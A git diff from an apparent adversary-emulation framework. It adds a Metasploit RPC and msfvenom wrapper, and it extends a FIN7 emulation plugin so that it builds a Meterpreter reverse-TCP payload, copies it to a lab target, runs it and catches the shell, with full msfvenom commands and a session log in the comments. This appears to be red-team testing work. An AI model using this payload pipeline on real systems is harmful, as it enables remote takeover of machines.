diff --git a/app/metasploit.py b/app/metasploit.py index d94d6f0..a468868 100644 --- a/app/metasploit.py +++ b/app/metasploit.py @@ -1,4 +1,123 @@ +#!/usr/bin/env python3 + +from pymetasploit3.msfrpc import MsfRpcClient +from app.machinecontrol import Machine + + + +# https://github.com/DanMcInerney/pymetasploit3 # Requirements # TODO Connect to metasploit on kali machine # TODO Multi sessions +# Add msfvenom class to generate payloads and fetch them + + +class Metasploit(): + def __init__(self, password, **kwargs): + """ + + :param password: password for the msfrpcd + :param kwargs: Relevant ones: uri, port, server, username + """ + + self.client = MsfRpcClient(password, **kwargs) + + # Waiting for reverse shell + exploit = self.client.modules.use('exploit', 'exploit/multi/handler') + print(exploit.description) + print(exploit.missing_required) + payload = self.client.modules.use('payload', 'linux/x64/meterpreter_reverse_tcp') + print(payload.description) + print(payload.missing_required) + payload["LHOST"] = "192.168.178.125" + + res = exploit.execute(payload=payload) + print(res) + print(self.client.sessions.list) + sid = list(self.client.sessions.list)[0] + + shell = self.client.sessions.session(sid) + shell.write("getuid") + print(shell.read()) + + +class MSFVenom(): + def __init__(self, attacker: Machine, target: Machine): + """ + + :param attacker: attacker machine + """ + # https://www.offensive-security.com/metasploit-unleashed/msfvenom/ + + self.attacker = attacker + self.target = target + + def generate_cmd(self, **kwargs): + """ Generates a cmd + + + :return: + """ + payload = kwargs.get("payload", None) + architecture = kwargs.get("architecture", None) + platform = kwargs.get("platform", self.target.get_os()) + lhost = kwargs.get("lhost", self.attacker.get_ip()) + format = kwargs.get("format", None) # file format + outfile = kwargs.get("outfile", "exploit.exe") + + cmd = "msfvenom" + if architecture is not None: + cmd += f" -a {architecture}" + if platform is not None: + cmd += f" --platform {platform}" + if payload is not None: + cmd += f" -p {payload}" + if lhost is not None: + cmd += f" LHOST={lhost}" + if format is not None: + cmd += f" -f {format}" + if outfile is not None: + cmd += f" -o {outfile}" + + + + # -p payload linux/x86/meterpreter_reverse_tcp + # -f format: elf, exe, powershell, python + # --platform: linux, windows, osx + # -a arch: x86, x64 + # -e encoders: x86/shikata_ga_nai + # -b bad chars to avoid + # -i iterations. encoding iterations + # -o out filename + # root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python + # complex: msfvenom -a x86 --platform linux -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.178.125 -e x86/shikata_ga_nai -i 3 -f elf -o reverse_meterpreter + + # verified to work (Linux): msfvenom -a x64 --platform linux -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.178.125 -f elf -o reverse_meterpreter + + # Keep in mind: The msfconsole needs to actively listen to the connection: + # msf6 > use exploit/multi/handler + # [*] Using configured payload generic/shell_reverse_tcp + # msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp + # payload => linux/x64/meterpreter_reverse_tcp + # msf6 exploit(multi/handler) > set lhost 192.168.178.125 + # lhost => 192.168.178.125 + # msf6 exploit(multi/handler) > set lport 4444 + # lport => 4444 + # msf6 exploit(multi/handler) > run + # + # [*] Started reverse TCP handler on 192.168.178.125:4444 + # [*] Meterpreter session 1 opened (192.168.178.125:4444 -> 192.168.178.125:42436) at 2021-06-01 03:32:12 -0400 + # + # meterpreter > !!! We are in the session now !!! + + return cmd + + def generate_payload(self, **kwargs): + """ Generates a payload on the attacker machine + + """ + cmd = self.generate_cmd(**kwargs) + + self.attacker.remote_run(cmd) + diff --git a/metasploit_control.py b/metasploit_control.py new file mode 100644 index 0000000..9828903 --- /dev/null +++ b/metasploit_control.py @@ -0,0 +1,47 @@ +from app.machinecontrol import Machine +from app.attack_log import AttackLog +from app.metasploit import MSFVenom, Metasploit + + +# For some local tests +if __name__=="__main__": + + + # msfrpcd -S -P password -u user -f + attacker_ip = "192.168.178.125" + # target_ip = "192.168.178.125" + + # Metasploit RPC + password = "password" + user = "user" + + attack_logger = AttackLog(0) + attacker = Machine({"root": "systems/attacker1", + "os": "linux", + "vm_controller": { + "type": "vagrant", + "vagrantfilepath": "systems", + "ip": attacker_ip + }, + "vm_name": "attacker1"}, attack_logger) + + # Target machine is attacker machine here + target = Machine({"root": "systems/attacker1", + "os": "linux", + "vm_controller": { + "type": "vagrant", + "vagrantfilepath": "systems", + "ip": attacker_ip + }, + "vm_name": "attacker1"}, attack_logger) + + venom = MSFVenom(attacker, target) + print(venom.generate_cmd(payload="linux/x64/meterpreter_reverse_tcp", + architecture="x64", + platform="linux", + # lhost, + format="elf", + outfile="clickme.exe")) + + metasploit = Metasploit(password, server=attacker.get_ip(), username=user) + # client = MsfRpcClient('yourpassword', ssl=True) \ No newline at end of file diff --git a/plugins/base/attack.py b/plugins/base/attack.py index a1db0b2..1e490e0 100644 --- a/plugins/base/attack.py +++ b/plugins/base/attack.py @@ -139,7 +139,7 @@ class AttackPlugin(BasePlugin): """ self.targets = targets - ips = [tgt.getip() for tgt in targets] + ips = [tgt.get_ip() for tgt in targets] self.setup() self.attack_logger.start_kali_attack(self.attacker_machine_plugin.config.vmname(), ips, self.name, ttp=self.get_ttp()) res = self.run(targets) diff --git a/plugins/base/ssh_features.py b/plugins/base/ssh_features.py index 5e43723..061b5cc 100644 --- a/plugins/base/ssh_features.py +++ b/plugins/base/ssh_features.py @@ -1,5 +1,6 @@ #!/usr/bin/env python3 """ A class you can use to add SSH features to you plugin. Useful for vm_controller/machinery classes """ +import os.path from fabric import Connection from app.exceptions import NetworkError @@ -135,6 +136,9 @@ class SSHFeatures(BasePlugin): """ self.connect() + if os.path.isdir(dst): + dst = os.path.join(dst, os.path.basename(src)) + retry = 2 while retry > 0: try: diff --git a/plugins/default/adversary_emulations/FIN7/fin7_section1.py b/plugins/default/adversary_emulations/FIN7/fin7_section1.py index 3e5b87e..24b454f 100644 --- a/plugins/default/adversary_emulations/FIN7/fin7_section1.py +++ b/plugins/default/adversary_emulations/FIN7/fin7_section1.py @@ -4,6 +4,8 @@ from plugins.base.attack import AttackPlugin from app.interface_sfx import CommandlineColors +from app.metasploit import MSFVenom +import os @@ -49,20 +51,42 @@ class FIN7Plugin(AttackPlugin): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 3: Target Assessment{CommandlineColors.ENDC}", 1) - # WMI queries https://attack.mitre.org/techniques/T1057/ + # TODO: Make sure logging is nice and complete - # TODO execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/ + # WMI queries https://attack.mitre.org/techniques/T1057/ - self.caldera_attack(self.targets[0], "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": self.targets[0].getip()}) + # Execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/ + self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}new view {CommandlineColors.ENDC}", 1) + self.caldera_attack(self.targets[0], "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": self.targets[0].get_ip()}) # check for sandbox https://attack.mitre.org/techniques/T1497/ - # query username https://attack.mitre.org/techniques/T1497/ - # query computername https://attack.mitre.org/techniques/T1082/ - # load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/ + # The documentation does not define how it is checking exactly. + self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}get-wmiobject win32_computersystem | fl model{CommandlineColors.ENDC}", 1) + self.caldera_attack(self.targets[0], "5dc841fd-28ad-40e2-b10e-fb007fe09e81") + + # query username https://attack.mitre.org/techniques/T1033/ + self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query USERNAME env{CommandlineColors.ENDC}", 1) + self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596") + + # TODO: query computername https://attack.mitre.org/techniques/T1082/ + # self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1) + #self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596") + + # TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/ # WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/ + self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Network configuration discovery. Original is some WMI, here we are using nbstat{CommandlineColors.ENDC}", 1) + self.caldera_attack(self.targets[0], "14a21534-350f-4d83-9dd7-3c56b93a0c17") # System Info discovery https://attack.mitre.org/techniques/T1082/ + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}System info discovery, as close as it gets{CommandlineColors.ENDC}", + 1) + self.caldera_attack(self.targets[0], "b6b105b9-41dc-490b-bc5c-80d699b82ce8") # CMD.exe->powershell.exe, start takeScreenshot.ps1 https://attack.mitre.org/techniques/T1113/ - # Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/ + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Take screenshot{CommandlineColors.ENDC}", + 1) + self.caldera_attack(self.targets[0], "316251ed-6a28-4013-812b-ddf5b5b007f8") + # TODO: Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/ self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 3: Target Assessment{CommandlineColors.ENDC}", 1) @@ -72,6 +96,25 @@ class FIN7Plugin(AttackPlugin): f"{CommandlineColors.OKBLUE}Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) # Uploaded stager creates meterpreter shell (babymetal) + # Generate payload: + + payload_name = "clickme.exe" + venom = MSFVenom(self.attacker_machine_plugin, self.targets[0]) + venom.generate_payload(payload="linux/x64/meterpreter_reverse_tcp", + architecture="x64", + platform="linux", + # lhost, + format="elf", + outfile=payload_name) + self.attacker_machine_plugin.get(payload_name, self.targets[0].get_machine_path_external()) + src = os.path.join(self.targets[0].get_machine_path_external(), payload_name) + self.targets[0].put(src, self.targets[0].get_playground()) + if self.targets[0].get_playground() is not None: + pl = os.path.join(self.targets[0].get_playground(), payload_name) + else: + pl = payload_name + self.targets[0].remote_run(pl, disown=True) + # adb156.exe -> cmd.exe ->powershell.exe decodes embedded dll payload https://attack.mitre.org/techniques/T1059/003/ and https://attack.mitre.org/techniques/T1059/001/ # powershell cmdlet Invoke-Expression executes decoded dll https://attack.mitre.org/techniques/T1140/ # powershell.exe loads shellcode into memory (received from C2 server) https://attack.mitre.org/techniques/T1573/ @@ -120,7 +163,7 @@ class FIN7Plugin(AttackPlugin): # Create BOOSTWRITE meterpreter handler # Create temporary HTTP server serving "B" as XOR Key - # hollow.exe meterpreter session dowliads BOOSTWRITE.dll to srrstr.dll https://attack.mitre.org/techniques/T1105/ + # hollow.exe meterpreter session dowloads BOOSTWRITE.dll to srrstr.dll https://attack.mitre.org/techniques/T1105/ # cmd.exe spawns svchost.exe -> executes SystemPropertiesAdvanced.exe which executes srrstr.dll # srrstr.dll spawns rundll32.exe which communicates to metasploit. New shell ! @@ -135,7 +178,7 @@ class FIN7Plugin(AttackPlugin): # This is meterpreter ! - # Meterpreter migrates toexplorer.exe (from svchost) https://attack.mitre.org/techniques/T1055/ + # Meterpreter migrates to explorer.exe (from svchost) https://attack.mitre.org/techniques/T1055/ # screenspy for screen capture https://attack.mitre.org/techniques/T1113/ # migrate session to mstsc.exe https://attack.mitre.org/techniques/T1056/001/ # deploy keylogger https://attack.mitre.org/techniques/T1056/001/ @@ -181,7 +224,7 @@ class FIN7Plugin(AttackPlugin): self.step1() self.step2() - self.step3() + # self.step3() # Done and works self.step4() self.step5() self.step6() diff --git a/requirements.txt b/requirements.txt index 135142b..3c4b59a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -10,4 +10,5 @@ coverage==5.4 PyYAML==5.4.1 straight.plugin==1.5.0 sphinxcontrib.asciinema==0.3.1 -paramiko +paramiko==2.7.2 +pymetasploit3==1.0.3